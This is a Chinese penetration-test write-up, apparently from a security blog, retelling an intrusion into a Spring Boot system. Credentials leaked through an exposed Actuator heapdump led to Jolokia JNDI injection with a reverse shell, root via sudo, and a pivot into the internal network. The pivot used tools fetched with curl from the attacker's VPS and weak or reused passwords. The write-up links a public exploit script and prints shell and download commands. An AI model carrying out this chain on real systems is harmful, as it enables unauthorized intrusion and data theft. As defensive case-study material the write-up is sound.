文章总结： 本文复盘了针对SpringBoot系统的渗透，利用heapdump泄露提取凭证，结合Jolokia高版本JDK绕过漏洞执行RCE。随后利用数据库密码与弱口令横向移动进入内网，窃取敏感配置。建议加强Actuator端点权限控制，避免凭证复用及弱口令风险。
综合评分： 85
文章分类： 渗透测试,内网渗透,实战经验,WEB安全
渗透实战|记一次RCE+heapdump信息泄露引发的血案
原创
li1u
藏剑安全
2023年3月30日 11:20
江苏
1.思路
目前该漏洞已完全修复，这里做一个复盘，总结下整体利用过程
heapdump信息泄露-弱口令-RCE-数据库-后台弱口令-内网系统弱口令-敏感信息挖掘
2.Heapdump信息泄露
Springboot搭建的系统，首先访问Actuator模块，看有哪些端点暴露，最常见的就是env、info、metrics等等，最喜人乐见的就是heapdump、gateway、jolokia等，前者可能导致轻微信息泄露、而后者可能导致敏感信息泄露乃至RCE进内网。
这里需要注意的是，访问Springboot的系统，有时候URL后边直接加actuator提示404并不代表端点没有暴露，可能是文件目录导致的，就比如这次渗透的目标站点就是如此：https://target.com:8090/xxx/actuator/
访问actuator，查看暴露的端点，发现heapdump文件，直接下载下来打开即可。这里打开heapdump转储文件，打开heapdump的方式有多种，MAT、JDumpSpider-1.0-SNAPSHOT-full.jar、heapdump_tool.jar等等，GitHub也有其它的打开工具，往往一种工具查出来的信息不完整，比如直接用JDumpSpider-1.0-SNAPSHOT-full.jar跑出来的结果可能不全，但是跑出的结果很清晰、heapdump_tool.jar跑出来的结果更全一些，但是结果展示不是很清晰。建议都跑一遍，确保收集信息的广度，这个后边会继续提到
使用JDumpSpider只跑出来了本地数据库账号口令（为后边拿下内网数据库做了铺垫）
继续用heapdump_tool.jar在跑一下
等数据加载完之后，输入关键字进行关键字查询：password、geturl、getfile等，直接输入password搜索password字样
将收集到的密码做成字典，后期可以做爆破口令用，成功登陆外网druid
3.jolokia命令执行（CVE-2018-1000130）
目标不止有heapdump、还有jolokia端点，jolokia存在RCE漏洞，但是有利用条件（目标JDK版本、是否存在端点以及引用了jolokia-core依赖等）：直接访问/jolokia/list查看有无type=MBeanFactory 和 createJNDIRealm参数可判断是否可能RCE，jolokia/list下存在这两个参数，尝试进行jndi注入（GitHub有诸多jndi工具以及利用详情）
目标有接收请求，貌似也请求了VPS上的class文件，但是反弹shell没反应。大概率是目标主机jdk版本过高导致反弹shell失败，尝试进行高版本jdk进行jndi注入。
提取准备好base64编码之后的反弹shell语句
启动jndi工具
这里使用py工具发送payload：
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py
py文件url以及payload修改成jndi工具生成的恶意payload，运行py
反弹shell成功，反弹回来的shell很多命令没法用，目标主机存在python环境，使用ptyshell实现简单的tty
python -c 'import pty; pty.spawn("/bin/bash")'
目标主机ubuntu，sudo su切换到root用户
4.登陆数据库
❝
heapdump泄露的数据库账号密码尝试登陆数据库
❞
查找用户名口令：
MD5加密的管理员密码，尝试解密：
由于heapdump在管理系统目录下：xxx/actuator/heapdump，猜测密码大概率是后台管理系统密码
口令登陆成功：涉及信息过于敏感，暂时不放图了
5.NPC落地进内网
VPS开启python服务，目标主机cd到tmp目录下:
curl -O http://xxx:8888/kscan
将kscan与npc端下载到目标主机tmp目录下
运行NPC端：
主机成功上线：
proxifier设置socks5代理尝试连接：
proxifier添加firefox规则后，根据kscan扫描出的结果尝试访问web服务：
弱口令*1
尝试使用数据库中存储的密码挨个进行登陆~
6.敏感信息泄露
查找系统中propertie配置文件，获取多个appkey和secret信息
较为敏感的信息就不在放出了
主要高版本jdk的jndi注入以及信息收集（收集密码做字典定向爆破）的结果，才使得进入内网之后可以拿下多个后台管理系统，从而获取大量敏感信息。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：藏剑安全 li1u《渗透实战|记一次RCE+heapdump信息泄露引发的血案》